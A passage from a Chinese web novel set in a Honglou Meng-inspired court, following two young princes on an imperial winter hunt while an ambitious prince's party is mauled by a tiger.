顾晓总觉得铁网山这个名字非常耳熟,但是又想不起来究竟是怎么回事,因此又叮嘱道“横竖你年纪小,辈分也小,到时候跟着你雍王伯和堂兄就是了,要是有什么事情,你就随大流,不用冒头!”

“这天气冷,你到时候将毛衣毛裤还有毡帽都戴上,脖子上也戴上围脖,免得冷风灌进去了难受!靴子选大一号的,里头多穿一双羊毛袜!骑马觉得热了,也别急着脱,我叫下头给你用细纱缝几个泡脚的药包,你晚上歇下来就好好泡个脚!”顾晓越说越不放心,又叫厨房那边多熬两罐姜汁红糖。

“冬狩估计都是吃些烤肉,又多半都是什么黄羊麋鹿,吃多了容易上火!我叫人把暖房里头的番茄和黄瓜都摘了给你带上,黄芽菜也带一些,到时候菜叶子在开水里面略烫一下就行!还有水果罐头和果酱,多带一些过去,遇上熟识的,就一块吃!”

顾晓的絮叨反倒是让徒嘉钰觉得安心了一些,他忙说道“就出去个几天,不用带这么多!”

顾晓琢磨了一下“咱们家温泉庄子离铁网山叶不是很远,到时候你要是有什么缺的,就叫人去温泉庄子上那边去要,总之,出门在外,别委屈了自己!”

徒嘉钰赶紧答应了下来,一边徒嘉泽有些羡慕,他其实也想要出

去玩(
徒嘉钰不得不赔礼“是我忘了,明年肯定不忘,实在不行,咱们春天就过去,行不行?” 徒嘉泽其实也就是想要出去玩,至于打猎什么的,他那小身板,三力的小弓都有些拉不开,一箭射出去,只怕连兔子皮都穿不过去,还是不用丢这个脸了! 倒是末儿听说徒嘉钰会带着自己养的那两条猎犬一块去,不免就安慰起白白和花花来,毕竟,白白和花花不是猎犬,只是普通的宠物狗,这种大场面是见识不了了。 徒嘉钰又跟几个弟弟妹妹许诺了一堆皮子,还说会给末儿带几根羊角回来,到时候也给他做一张弓。可惜末儿对弓不感兴趣,而是想要拿了羊角回来看匠人做羊角灯。府里头有不少羊角灯,他一直不肯相信这真的是羊角做的,非得亲眼见到才行。 徒嘉钰都一一答应下来,琢磨着要是自个没打到黄羊,是不是拿东西找别人换几根回来。 及到那一日,徒嘉钰一早就带着护卫出了门,去宫门口与一众宗室汇合,等着圣驾出宫,再跟随圣驾一起前行。 徒嘉珩一看徒嘉钰全副武装,连口罩都戴起来的模样,不免吓了一跳“你这样子……” 徒嘉钰有些无奈地说道“都是我妈,说外头冷,硬是叫我穿上的!堂兄你是不知道,她还在羊毛裤上头缝了一块银鼠皮,说是可以当护膝,免得膝盖被冻着了!” 徒嘉珩安慰道“那也是婶母担心你的缘故!”其实他穿得也不少,但是跟徒嘉钰比起来,就没那么夸张了,这会儿也心安理得了许多。 一边雍王倒是没说什么,他琢磨着弟妹家里孤儿寡母的,难免对孩子更宠溺一些,却也不足为奇。 徒嘉钰低声说道“这裤子是真的挺暖和的,我多带了几条,到时候也给堂兄你两条换着穿!” 徒嘉珩倒也没有拒绝,也是低声说道“那就多谢你了!唉,我射术一般,只怕这次又要丢脸了!” 徒嘉钰不以为然道“咱们都是小辈,谁盯着咱们不成!”他被顾晓开导了一番,算是明白了,他就是个小卡拉米,放在人群里头,根本没人多看一眼的,这次的冬狩,主角根本不是他,连配角都算不上,就当出去玩一趟,长点见识回来能给弟弟妹妹们吹牛就行了! 徒嘉珩瞧着徒嘉钰这般心态,不由有些羡慕,然后偷眼看了雍王一眼,他倒是想要摆烂,可自家亲爹不允许啊! 圣驾出来的时间比大家预计的略晚了一刻钟,这会儿就能看出穿得多的优势了,徒嘉钰一点都不觉得冷,倒是徒嘉珩,已经冻得嘴唇都有些发青了,这会儿也不方便加衣服,徒嘉钰赶紧从荷包里面掏出一块姜汁芝麻糖出来递了过去。 徒嘉珩接过来塞到嘴里,先是含了一会儿,然后嘎嘣嚼碎咽了下去,很快|感觉肚子里面一股子热乎气升上来了,他呼出一口气来“活过来了!” 雍王听见他说话的声音,又忍不住回过头来横了他一眼,他赶紧把头低了下去。 徒嘉钰干脆将整个荷包都丢给了他,低声说道“堂兄你先等一下,我叫人给你拿一个围脖过来!” 徒嘉珩摇了摇头,说道“不用了,等开始赶路了,也就没那么冷了!” 徒嘉钰劝道“那也就是身上不冷,这马一走起来,冷风直接就往嘴里灌,离铁网山还有大半天呢,别灌了冷风进去,回头冻着肚子! ” 他是把顾晓嘱咐他的话拿出来了。 徒嘉珩被说得犹豫了一下,徒嘉钰就直接吩咐洗砚去马车那边拿围脖,洗砚也骑着一匹马,没多久就拿了两个围脖过来,一个给了徒嘉珩,一个让徒嘉珩身边的小太监周成收起来,回头好换着用。 围脖是套头式的,戴起来很方便,外头是毛线织出来的,里面絮上了柔软的貂皮,刚刚套上,就有一股子暖意,徒嘉珩神情也轻松了一些,他跟徒嘉钰道了一声谢。 徒嘉钰笑道“咱们从小一块儿长大的,跟亲兄弟有什么区别,这点小事,还有什么好谢的!倒是堂兄你,有的时候未免太紧绷了,出门多穿点东西有什么了不起,咱们虽说年轻火力壮,也得善加保养才行!” 徒嘉珩不知道该怎么说才好,只是笑了两声。 圣驾一路上也没有停歇的意思,圣上在御辇里面自然该吃吃该喝喝,跟着的人就只能顶着寒风吃干粮。 徒嘉钰这边却是不一样,马车上直接放了个炉子,之前准备了许多芝麻烤饼,这会儿在炉子上重新热了一下,烤得酥脆,从中间劈开,加上从热腾腾的卤水里面捞出来的大块卤肉,甚至还加了两片脆生生的黄芽菜叶子,随行的侍卫每人分了两个,再轮流到马车边上,用刚煮开的鸡汤冲一碗鸡蛋,鸡汤本来就鲜美,又加了一些胡椒粉,趁热喝下去,每个毛孔里都似乎有热气喷出来,鼻尖也沁出汗来。 “今儿晚上可有什么安排?”徒嘉钰问道。 徒嘉珩摇了摇头,说道“我也不知道,不过大家一路上都累了,应该都要先休息一晚上吧!” 徒嘉珩却是料错了圣上的心思,两人才坐在一起商量晚上吃点什么,徒嘉钰还跟徒嘉珩分享了家里带过来的泡脚药包,又表示这一路上骑马实在是太累了,睡前还是找人按一按,免得明儿一早浑身酸痛爬不起来。 结果就听周成过来回话,说圣上在行宫设宴,他们都得过去。 “皇祖父精神可真好啊!”徒嘉钰又不像是旁人,想要在圣上那里露脸,他只想要早点吃饭,早点休息,这会儿听得这个安排,不免脸一苦,嘀咕起来。 徒嘉珩忙一肘子打在徒嘉钰身上,徒嘉钰这才回过神来,挤出一副笑脸来“皇祖父龙马精神,能够见到皇祖父,真是太好了!” 虽说这帐篷里头没有外人,但是隔墙有耳,谁要是看到了刚刚徒嘉钰的表情,再添油加醋几句,徒嘉钰难免也吃一顿排头。 徒嘉珩听雍王和雍王妃说过一些事,在家里对圣上都是表现得极为恭敬的,不像是徒嘉钰,虽说也见过圣驾,但因为距离感的缘故,总少了几分敬畏,只怕内心深处,还当圣上就是个不怎么见面的祖父呢! 徒嘉钰这会儿也反应过来了,他悄悄吐了吐舌头,便说道“这宴席是家宴还是什么,咱们穿什么衣服过去?” “听御前刘公公说,只叫了随驾的皇子皇孙,应该就是家宴!”周成赶紧说道。 “那就不用穿得太过正式了!”徒嘉钰松了口气,每年年节进宫,都要全副武装,着实有些累人,今儿个本来就骑马骑了大半天,再回去换上王袍和配套的衣服,那真是要累死人了。 徒嘉钰赶紧跟徒嘉珩告辞,回自个帐篷里头重新换了一身衣服,因着今儿骑马的时候都戴着帽子,不曾沾上尘土,要不然的话,还得先把头发干洗一下。 既然是进行宫赴宴,就不能带洗砚了,好在虽说他不习惯用太监,这次也是带了一个的,却是叫做孙胜。他虽说跟着徒嘉钰,但从来没多少存在感,洗砚明里暗里也排挤他,他也知道主子因为从小没怎么用过太监的缘故,不习惯,因此,也并不刻意在徒嘉钰面前表现,只是细心观察徒嘉钰的生活习惯,争取做到徒嘉钰只要一个眼神,他就知道对方想要什么。洗砚排挤自己有什么用,眼看着小王爷过几年就要成亲袭爵了,到时候能够跟着小王爷进内宅的,不还只有自己,至于洗砚,最多就是在外院做个管事,甚至只能是小王爷出门的时候做个长随罢了! 这会儿孙胜也是默不吭声,将该带的东西都带齐全了,偏生从他外表看,又像是没带什么东西一样,然后就跟着徒嘉钰出了帐篷,跟徒嘉珩汇合之后,一起往行宫而去。 作者有话要说 第 151 章 虎啸 宫宴上,圣上看起来红光满面,半点疲色都看不见,叫徒嘉钰看着,都觉得佩服起来。 徒宏轩身体不好,这次根本没有跟着出来,徒宏憬就在圣上身边,满脸都是春风得意。 徒嘉钰瞧着徒宏憬那副志得意满的样子,就忍不住暗中撇了撇嘴,他对这个叔叔就没什么好印象。 其他宗室也觉得圣上今儿这副姿态,是希望之后立徒宏憬做太子,要他们支持徒宏憬的意思。他们手上本来也没什么实权,虽说觉得徒宏憬不是个好相与的,但当着圣上的面,也是没口子地表忠心,反正就是,圣上你觉得如何就是如何,我们照办就是了! 一场宫宴表面上看起来其乐融融,徒宏憬也被留在行宫居住,又去给伴驾的甄贵妃请安,说了席上的事情,兴高采烈道“儿臣觉得父皇已经有了决定,宗室如今对儿臣也心服,此事算是万无一失!” 甄贵妃这会儿已经开始幻想着自己做了皇后应该如何了,当然,对着徒宏憬,还是比较矜持的,她笑道“虽说如此,这次你也得好好表现才行,如今大家是因为你父皇的缘故跟着你,你自个也得叫他们看看你的能耐才行!” 徒宏憬点了点头“母妃说得对,儿臣这就回去,再查漏补缺一下,明日定然万无一失!” 徒宏憬这次带在身边的侍卫都是精挑细选出来的,镇国公府甚至将一部分亲兵给了他,这些人年轻的时候都是上过战场的,让他们帮着徒宏憬围猎,可以说是大材小用。 徒宏憬回去之后又拉着几个侍卫头领商议了一下明日围猎的计划,又一番封官许愿,这才怀揣着满腔的兴奋,辗转半天之后才含糊睡去。 徒嘉钰却睡得挺好,他睡前泡了个脚,孙胜会一些推拿的本事,便帮他仔细推拿了一番,将筋骨都推开了,轻轻松松进入了梦乡,第二天一早起来,那叫一个神清气爽。 自从徒嘉泽和末儿住到前院去之后,前院的厨房才算是真正有了用武之地,手艺也精进了不少,这次跟着徒嘉泽出来的就是大厨房的陈德柱和他徒弟李狗儿。 陈德柱半夜就带着徒弟开始准备早点了,因着之前徒嘉钰说了,连徒嘉珩乃至雍王爷的早饭也准备上,打听到雍王爷口味清淡,他琢磨一番,先是做了几笼豆腐皮包子和几样点心,粥品也是有甜有咸,再包了一些鸡肉小馄饨,用鸡汤下了,佐餐的小菜是清炒玉兰片、炒三丝、炝拌双耳和蓑衣黄瓜,切了几个高邮咸鸭蛋,装在盘子里往食盒里头一塞,等着伺候的人来提。 先吃饭的反倒是随行的侍卫,他们吃的就没那么精细了,主要是李狗儿做的,大肉包子,羊肉烧麦,糖油饼子,都装在大竹筐里头,谁要尽管自己去拿,还有就是大锅煮出来的杂烩疙瘩汤,配上腌制的小咸菜和红油腐乳,一帮侍卫吃得头也不抬,还各自打包了一些包子和糖饼,准备带在身上,回头围猎的时候饿了就吃。 雍王和徒嘉珩一起用饭,看到提进来的食盒就知道不是自家的,他看了一眼徒嘉珩,徒嘉珩老老实实说道“钰堂弟说他们带出来的食材多,叫这几天先吃他们家的!” 雍王点了点头,一看菜式,便点了点头“倒是简素,吃起来正好!” 徒嘉珩壮着胆子说道“钰堂弟说他们府上饮食素来如此,少用各种珍惜食材,更喜欢食材本身的原味!” 雍王愈发欣赏起来“本该如此,要不然,鸡吃着不是鸡的味道,菜吃着不是菜的味道,那算什么!”雍王就对宫中的御膳有些不满,就喜欢搞些 花里胡哨的操作,一碗羹汤端上来,都不知道是什么做的。 像是昨儿个晚上,雍王压根就没吃多少东西,原本也没觉着饿,这会儿竟是胃口大开,直接吃掉两碗鸡汤小馄饨,一笼豆腐皮包子,几样佐餐的小菜也吃得七七八八,这才觉得整个人都活过来了。 徒嘉珩正处在半大小子吃穷老子的时候,同样吃得不少,甚至连几样几乎是用来凑数的点心都吃了,又就着半个咸鸭蛋吃掉一碗香菇鸡丝粥,这才满足地摸了摸肚子。 雍王虽说平时对孩子非常严厉,瞧着儿子没吃好,也一直拿筷子夹了小菜慢慢吃着,见徒嘉珩吃饱了,这才放下筷子,只是嘴里却是说道“吃饭只要七分饱,过犹不及!” 说着,又吩咐人倒了茶过来给他消食。 徒嘉珩只得起身垂手听了,结果雍王瞧着儿子这副生分的样子,又很想叹气,最终还是什么也没说。 徒嘉钰要是看到雍王父子的相处方式,大概会庆幸自己没爹吧!不过他没看到,他轻轻松松吃了早餐,琢磨了一下,又往荷包里面放了一些肉干肉脯还有点心,今儿个围猎得一天,想要中途返回吃饭是不可能的事情,他正琢磨着带些什么到时候比较管饱,一边孙胜已经提了个食盒过来,将里面几层摆得满满当当,什么盐水牛肉,先炸后卤的鹌鹑,五香酱鸭,糖醋藕片,番茄马蹄……都是可以冷吃的东西,主食也有,主要是芝麻千层酥和松瓤桃仁烧饼,甜口的糕点也有几样,只是比较少。另外又有一些佐餐的泡菜和新鲜蔬菜,都在盘子里摆得整整齐齐。 孙胜见徒嘉钰看过来,忙解释道“小王爷尽管去围猎,奴才也不会拉弓,到时候带着食盒跟着就行!” 见孙胜这般谄媚,一边洗砚就有些郁闷,只是他自己想不到这么多,只得暂且认了。 一番折腾之后,一群人都骑着马往围场那边而去,不多久,圣上也骑马过来了。 圣上其实已经比较累了,他年纪大了,昨儿个舟车劳顿,还硬撑着举办了一场宴席,之后回去又有些难以入眠。倒不是择床,他要是择床的话,每每出巡,走到哪儿,自然有人会将他惯用的床榻和用具都带上,他主要是年纪大了,睡眠浅,还入睡困难。 今儿一早起来,圣上便有些困顿,但是还不能放了下面臣工的鸽子。他连早饭也没怎么吃,根本就没什么胃口,又硬撑着骑马过来,总之,不能叫任何人看出他的衰老和虚弱来。 这会儿瞧着下面旌旗烈烈,阵容整齐,但是圣上却觉得老眼昏花,根本不知道谁是谁。原本这等狩猎,作为天子,得先射一头鹿,表示一下自己的天命所归,但是圣上如今状态实在不行,便是造假,也太容易被拆穿了,因此,直接将这一项给取消掉了!好在多年没有这等狩猎活动,许多人也不记得还有这个传统。 圣上半点不露声色,只是骑着马站到了前头,扬声说道“我徒氏也是以武立国,开国之后,从来文武并重,如今天下承平,却也该居安思危,不能想着刀兵入库,马放南山!今日冬狩,就叫朕看看,尔等还有几多热血,几多本事!” 说着,圣上直接从腰间摘下一块九龙佩来,笑道“一会儿你们各展所能,谁能胜出,这块玉佩便是谁的!” 这九龙佩乃是田黄雕琢,一直是圣上随身心爱之物,几乎算得上是皇权特许了,如今拿了这个当彩头,大家都觉自己之前的猜测是对了。 徒宏憬更是红光满面,对于那九龙佩就是一副志在必得的模样。 徒嘉钰反正射术 一般,对于那九龙佩也没什么概念,这会儿还到处东张西望,压根没注意到徒宏憬的表情。 然后就听圣上的声音“去吧,让朕瞧瞧你们的本事!” 圣上话音刚落,下头便是一阵欢呼,继而分散成许多队伍,各自往早就看好的方向去了。 雍王看了徒嘉珩一眼,说道“你如今也不小了,就跟你堂弟一块儿去吧!” 徒嘉珩也不想跟雍王凑一起,实在是亚历山大,当下窃喜着答应了下来。 “走吧,咱们随便找个方向就好!”等着雍王带着人走了,徒嘉珩便转头跟徒嘉钰说道。 徒嘉钰点了点头,笑嘻嘻说道“咱们就走个过场,随便打点兔子野鸡什么的也算了,到时候寻个开阔一点的地方,咱们直接野餐!” 两人都是胸无大志之人,下面那些侍卫也乐得如此,真要是遇上那等中二病发作,觉得自己能力抗熊罴,非要找大家伙的,对于这些侍卫来说,也是一件极危险的事情。虽说围场上就算出现了猛兽,那也是圈养的,估摸着还被饿得七荤八素。但是猛兽毕竟是猛兽,尤其是饿到极点的猛兽,那是根本什么都不管的,对它们来说,只要是看得到的活物,那就是食物!他们手里这点弓箭,对付什么黄羊梅花鹿还没问题,遇上野猪都够呛,更别说什么熊虎了,那纯粹是送菜! 既然两个主子都只打算混日子,这些侍卫便先派人到前头巡视了一下,选了个应该没什么危险的方向,就往那边去了。 当然,没危险也不能是什么都抓不到,不多久,便有侍卫驱赶着几头慌不择路的黄羊过来,徒嘉珩和徒嘉钰各自拉弓搭箭,对着那些黄羊便射了过去,其他侍卫也跟着放箭。 那几头黄羊应该也不是野生的,被养得膘肥体壮,反应速度很一般,一轮下来,竟是个个都身上带箭,有两头直接倒了下来。 几个侍卫又补了一轮箭,徒嘉钰带着的两条猎犬原本还想要上前,却直接被下人拉住了,别自己凑到了箭下!瞧着那几头黄羊都不动了,几个侍卫过去将那几头黄羊丢到大车上,旁边人便开始恭喜徒嘉珩和徒嘉钰“恭喜世子(小王爷),旗开得胜!” 两人这会儿也看明白了自己水平,果然不是打猎的料,被这些侍卫夸得都有些脸红,又有些兴奋,便说道“走吧,咱们再去打点东西回来,若是能打到几只狐狸,回头做个围脖也好!” 堂兄弟两个本来也没打算露脸,因此只是一径寻了个比较开阔的地方去了。 而徒宏憬那边却是不同,他既是打定了主意,要拿个头名,自然得奋发一把才是!他们每个人总共平均才带了不到十壶箭,要是只打什么兔子獐子之类,那便是一箭一个,也算不得什么,总不能弄个几百只兔子回去,这不是惹人笑话嘛! 好在之前徒宏憬就已经跟铁网山围场上的人打了招呼,叫他们放出几样猛兽出来。 这会儿已经入了冬,熊差不多已经冬眠了,而且,熊不比其他动物,它们在夏秋季节的时候已经养足了膘,所以你便是饿它几日,依旧凶猛,甚至还觉得能趁机再吃上一顿,好多积累一些能量,免得冬眠半途饿醒。 所以,围场的人放出来的就是野猪和老虎,另外还有狼。 徒宏憬选择的方向就是围场的人指的方向,身边的侍卫带着的也不仅仅是弓箭,还有专门用于猎杀猛兽的骑枪。这玩意是精钢打造,借助于马的冲力,甚至可以刺穿薄一点的铁甲,更别说是兽皮了。 走出不多远,他们 一行先遇上了一头落单的梅花鹿( 不过很可惜,他真不是那种神箭手,箭支直接从那梅花鹿的头顶飞了过去,不光没射中,还将那头被养得痴肥,并无多少危机感,还在那里扒拉枯草的梅花鹿给惊着了,当下拔腿就跑! 徒宏憬脸一黑,呵斥道“拦住那头鹿!” 那些侍卫倒也没有嘲笑徒宏憬的意思,别说是活物了,就是个固定靶,也不是随便什么人都能射中的。因此,大家呼喝着驱马上前,拦住了那头倒霉的梅花鹿的去路,这回徒宏憬也不托大了,直接叫身边的侍卫齐射,终于将那头梅花鹿拿下了。 一个侍卫说道“王爷,既然遇上了一头梅花鹿,可见附近应该还有鹿群,不如咱们先将那个鹿群引来拿下吧!” 徒宏憬琢磨着这么大一块地方,去寻长了腿会走路的猛兽也不容易,先打几头鹿热热身也是理所应当的事情,说不定鲜血也会引来一些猛兽,岂不方便?当下便答应下来“你说的是,那便先猎鹿吧!正好弄些鹿角回去做装饰!” 几个侍卫当下取出专门制作的哨子,开始吹了起来,发出类似于鹿的叫声。据说这是跟女真人学的,他们是渔猎民族,为了猎鹿,就用哨子模拟鹿的不同叫声,比如说春天的时候就模拟鹿求偶的声音,各个季节都有不同的讲究。其他人都先找了地方隐藏了起来,免得惊动了鹿群。 随着哨音不断响起,不多久便有蹄声传来。 徒宏憬眼睛一亮“来了!” 等着鹿群靠近之后,这些侍卫就从各自藏身之处钻了出来,开始驱逐鹿群。 围猎之事终究好些年不曾举行了,因此这些侍卫哪怕之前又经过一定时间的培训,但又不是实战,这会儿还是有些生疏,竟是叫一部分鹿群跑出了包围圈,好在留下来的也不少,算是收获不菲。 徒宏憬看了看天色,发觉已经不早,便说道“先叫两个人将这些鹿送回营地,其他人继续跟本王走,今儿个,本王非要抓住几个大家伙不可!” 一帮侍卫都点头称是,将可以回收的箭回收了一拨,便开始按照之前学过的知识寻找猛兽可能存在的方向。 他们一时半会儿没找到什么猛兽,徒嘉珩和徒嘉钰倒是遇到了一只正带着几只小野猪觅食的大野猪。两人被吓了一跳,原本想要绕路,但是身边的护卫却阻止了,因为他们已经被野猪发现了,这种生物脾气非常暴躁,你要是表现出半点紧张畏惧来,人家说不定就直接冲上来了。 “世子(小王爷),请暂且退后,我等定会保护世子(小王爷)周全!”这些侍卫也不拿弓了,他们虽说没有带骑枪,却每人都带了一兜短标枪,这也是为了防止遇上大型猛兽,这会儿可不正用上了。 野猪因为喜欢在泥水里面打滚的缘故,原本就很厚的皮肤外头还有一层泥壳,就跟穿了一身盔甲一样。若是这会儿是一群野猪,他们这些人肯定直接什么都不要,打马跑路,但如今就一头大的还有几头小的,大家也就没多少畏惧之心,反而驱马迎着那头野猪奔了上去,顺势将短标枪也跟着投了过去。 那头野猪死得挺惨的,倒是后面几头小的,只有一个倒霉蛋被两根标枪击中,其他并没有受到太多的伤害,几个侍卫拿藤条编了绳子将剩下的拴了起来,新鲜的带回去,更好整治。 徒嘉珩和徒嘉钰两个也就是一开始被吓了一跳,这会儿一个个都兴致勃□□来,徒 嘉钰直接说道“大家也辛苦了,不如找个地方,先生个火,将这野猪给清理一下,直接烤了吃吧!” 一帮侍卫觉得这两位大概是不想露头,也不多劝,能休息为什么不休息呢!他们刚刚损失了不少短标枪,要是再遇上什么猛兽,可就要抓瞎了,不如选个安全一点的地方,大家野餐一顿,吃饱了,也差不多可以返程了! 一行人很快找了个临水的地方,一帮侍卫便开始分工合作,有的去打柴,有的直接开始给野猪剥皮,因为野猪其实不好吃,怕两个小主子不习惯,就又处理了一头半大的黄羊,连那只倒霉的小野猪也一块洗剥干净。怕血腥味引来什么食肉动物,这些人直接挖了个坑,将内脏什么的给埋了,倒是将野猪皮和羊皮给留了下来,丢到了装猎物的大车上。 孙胜跟变魔术一样,拿了一个麂皮水囊出来,里面却不是水,而是茶油,然后还有盐和一大瓶府里头烧烤配的复合调味料,只看得洗砚目瞪口呆,倒是一边的周成,也从带着的食盒里头拿出一些碗筷餐盘出来,还有一个铜茶壶,将茶壶吊在火堆上就开始煮茶。 洗砚也不傻,一看就知道,只怕这俩太监是商量好的,他不免有些沮丧,又有些后悔,再这么下去,小王爷身边哪里还有他的一席之地,之前他先排挤的孙胜,如今轮到他被排挤了,就发现滋味不好受,偏生叫他向孙胜示好,他又有些张不开嘴。说白了,他自觉自己是个正常的男人,本心里头就是瞧不上太监的。 有着孙胜的准备,这些侍卫们也尽情施展开来,野猪太大,不能像是黄羊一样做烤全羊,就拆解开来,切成片或者是小块,用树枝串起来放在火上烤,再撒一点专门的烧烤调味料,很快香味就出来了。再配上他们之前带在身上的大肉包之类,同样在火上烤得面皮焦脆,吃起来比起刚出笼的更是别有一番滋味。 徒嘉珩和徒嘉钰也各自吃了一根小野猪身上的烤肋排,虽说手艺不是很好,外头还烤焦了,肉也比较柴,吃着塞牙,但两人还是硬将那一根肋排吃了下去,之后不得不拿了银牙签剔牙。 倒是那些侍卫对此并不是很在意,他们家里也不是能经常吃肉的,如今难得有机会吃个痛快,哪有放过的道理,一个个差点连骨头都敲碎了将骨髓都吸得干干净净。 这些侍卫吃得高兴,还唱起歌来,他们也不会唱什么阳春白雪的调子,唱的就是市井里头的小调,难免还带着点黄色,徒嘉珩和徒嘉钰年纪也不算小了,也听懂了一些,不免有些面红耳赤起来。 这些侍卫都知道两个主子不是那等苛责的人,不光没有收敛,反倒是唱得愈发起劲,几乎都要手舞足蹈起来。 徒嘉钰懒洋洋地坐在那里,手里捧着一杯刚煮好的普洱,听着那些侍卫们粗俗的歌声,一时间竟是有些昏昏欲睡起来,结果,就在这时,一声虎啸从远处传来。 作者有话要说 第 152 章 猛虎 徒嘉钰一惊,手上一个哆嗦,茶杯直接被打翻了,也亏得里头茶水已经不烫了,要不然非被烫着手不可。 “怎么回事?”徒嘉钰没听过虎啸声,却看到拴在一边的马儿都有些躁动起来,要不是都被拴在那里,几乎都要撒腿就跑。 一帮侍卫这会儿也都紧张了起来“怎么会有老虎,快,赶紧抄家伙!”说是抄家伙,实际上是将还没吃完的野猪和烤全羊都丢到了前头,一会儿老虎真要是过来了,也是先吃那些,最好吃饱了就走! “听声音离我们似乎挺远的!”又是一声似乎带着点愤怒的虎啸声传来,一个侍卫仔细听了一下,略微放松下来,看向了徒嘉珩和徒嘉钰,“要不,咱们直接回去?” 徒嘉珩头一个点头“回就回吧!”他本来就不是什么争强好胜的人,要看老虎,去皇家的兽苑里面就能看到,谁敢直接面对一只在野外的饥肠辘辘的老虎啊! 徒嘉钰也是连连点头,他刚刚就被吓了一跳,这会儿小心肝还在扑腾呢,不趁着老虎还没来,赶紧跑路,在这边等着跟老虎狭路相逢吗? 这些侍卫立马利索地打水将篝火浇灭,也亏得就在水流边上,要不然还真得废一番力气,然后就各自上马,至于装着猎物的大车,直接跟在后头,真要是老虎追上来,就将大车丢下,也好拦一拦老虎的去路。这等猛兽也不傻,能轻轻松松填饱肚子也不必非要找两脚兽的麻烦。 一行人跑得很快,谁也不去想到底是谁遭遇了老虎,最多就是心里头帮对方祈祷一下,然后还是自己的性命比较重要。 遇到老虎的是徒宏憬一行,然后他们就发现,即便是饿了好几天的老虎,也不是他们能对付的! 他们身下的马已经算得上是好马,却不是专门训练过的战马。而且,食草动物对这种大型食肉动物的畏惧那是刻在基因里的,面对一只饿得两眼发绿的老虎,这些马能不腿软就不错了,一个个根本控制不住,只想要赶紧开溜,反正自己不能成为那个被老虎扑倒吃掉的倒霉鬼。 大家带着骑枪想要猎虎,无非就是想要借助马力对老虎发起进攻,结果如今马不争气,根本控制不住,一个个也都慌了。 徒宏憬却是胆子极大,这会儿看到老虎就两眼放光,反正他被几个侍卫护在身后,老虎再如何,也伤不到他头上,因此,他根本不顾实际情况,就催逼着这些侍卫去猎虎。 以徒宏憬如今的身份地位,他只要下了命令,即便明知道是送死,下头人也只能遵从。 事情一下子变成了一场屠杀。 老虎强健的肌肉让普通的弓箭即便是射中了对方,也很难造成足够的伤害,他们强行控制马儿面对老虎,带来的就是那些马拼命挣扎,宁可将背上的主人摔下来,也得自个跑路。好几个侍卫因此被摔落在地,还没来得及反应过来,先是被马胡乱踩了几脚,然后就被那头老虎一掌拍翻过去。 徒宏憬这会儿也害怕起来了,催着大家用骑枪,要是老虎不动,或者是直接面对这些侍卫冲过来,那用骑枪没太大问题!可老虎别看躯体庞大,实际上作为大型猫科动物,人家其实挺灵活的,加上不是什么人面对一头气势汹汹的老虎,都能表现出足够的勇气的,即便是上过战场的那几个侍卫也是一样。他们多年赋闲在家,早就没了年少时候那份血勇之气,这会儿几乎满脑子空白。 徒宏憬这会儿也想不起来什么奖励的事情了,他只想夺路而逃,他的未来还很长,他的前程也非常光明,猎不到老虎又如何 ,他还可以去捕猎别的东西,之前他们还看到了一群马鹿,若是能拿下那群马鹿,他们也应该能拿第一了,为什么非要来找这头老虎呢? 7微云烟波提醒您《红楼太妃要躺平》第一时间在[笔趣阁,记住[(. 徒宏憬又忍不住暗骂围场那些人,明明说是一头已经饿了七八天的老虎,这么凶,怎么可能呢? 他却没想到,围场不光是放了一头老虎,为了叫一帮人打猎打的高兴,还将原本圈养的鹿和羊什么的也一起放出来了,这些玩意对上老虎的时候,能有什么战斗力呢!所以,这老虎其实已经吃了一些东西,恢复了不少体力了。 他们这么多人,若是没有敌意,说不定老虎从他们的大车上拖一头鹿也就走了,结果他们一副磨刀霍霍的模样,老虎能忍才怪! 眼看着那老虎已经杀疯了,徒宏憬调转马头就要逃跑,旁边的侍卫也怕徒宏憬出了什么事,因此只说道“王爷快走,我们给王爷殿后!”说着,一个个也不顾还有同僚也在距离老虎不远的地方了,直接拉弓射箭,一会儿功夫,每个人一壶箭都射了出去,可惜最准的一支也就是擦着老虎的额头飞了过去,其他的最多就是让老虎破了层皮。他们手里的本来就不是什么强弓劲弩,要不然也没法射这么快! 结果他们这一轮连射,却直接将老虎激怒了,丢下已经被杀得七零八落的那些侍卫,又是一声巨大的咆哮。 徒宏憬身下那匹大宛名马被唬得四腿发软,竟是直接瘫倒在地,徒宏憬差点被自己的坐骑给压住。 徒宏憬的贴身太监这会儿也顾不得这许多了,连忙从怀里摸出一个响箭来,其实就是个火药制作的信号弹,点燃之后抛到空中,伴随着一声尖啸,在天上炸开了一个明显的火花。他连滚带爬地将徒宏憬扶起来,又尖声叫道“列阵,保护王爷!一会儿便有援兵到了!” 这些残存的侍卫也不敢放弃徒宏憬,能爬得起来的只得各自手持骑枪,将徒宏憬团团护住,徒宏憬出来原本带了四五十个人,这会儿竟是只剩下十几个还有行动能力的,一个个平端着骑枪,等着老虎靠近,就直接刺出。 老虎也不是傻子,它绕着转了两圈,寻找这些两脚兽的破绽,还抽空低头将一匹倒地的战马给咬死了,撕咬了好几块肉下来吃了,满脸血糊糊的,看得人愈发惊悚起来。 响箭发出去之后,附近围猎的队伍便知道出了问题,虽说不知道遇上危险的是谁,还是有人过来救援了。 远远听到哒哒的马蹄声,那些侍卫不免放松了一些。骑枪非常重,他们刚刚平端着无非就是仗着一口气罢了,这会儿听到有人来救援,不免一口气就泄掉了大半。 那头老虎顿时发现了机会,直接扑了过来! …… 徒嘉珩和徒嘉钰回来得挺早,还遇上了圣上正在高台上喝茶吃点心,见他们也没带多少猎物回来,倒也没有失望,反而叫这两个孙子一起去高台上喝茶。 “怎么这么早就回来了?”圣上对于年少的孙子还是比较宽容的,因为孙子不会威胁到他的地位。 徒嘉珩露出一个有些憨厚的神情,抓了抓头发,有些尴尬地说道“回皇祖父的话,孙儿两个一路上也没碰上什么猎物,觉得今天大概是运气不好,所以干脆就回来了!” 圣上瞧着徒嘉钰也在一边点头,笑骂道“胸无大志,运气不好,就不想办法啦!” 徒嘉钰嬉笑道“皇祖父,咱们托生到皇家,已经是天大的造化啦!这点运气不好,算得了什么,难不成皇祖父觉得孙儿两个收获太少,还不给咱们吃饭不成?” 圣上听得哭笑不得,摆了摆手,说道“罢了罢了,你们两个小猴儿,倒是会偷懒!皇祖父再如何,也不会缺了你们两口饭!你们这回来,应该也是饿了吧!戴权,叫下面做点吃的过来 实际上两人刚刚都吃了,但是这一路跑回来,也消化了不少,因此,徒嘉钰仗着自己年纪小,忙谢道“多谢皇祖父赐饭,孙儿这会儿肚子正饿着呢!” 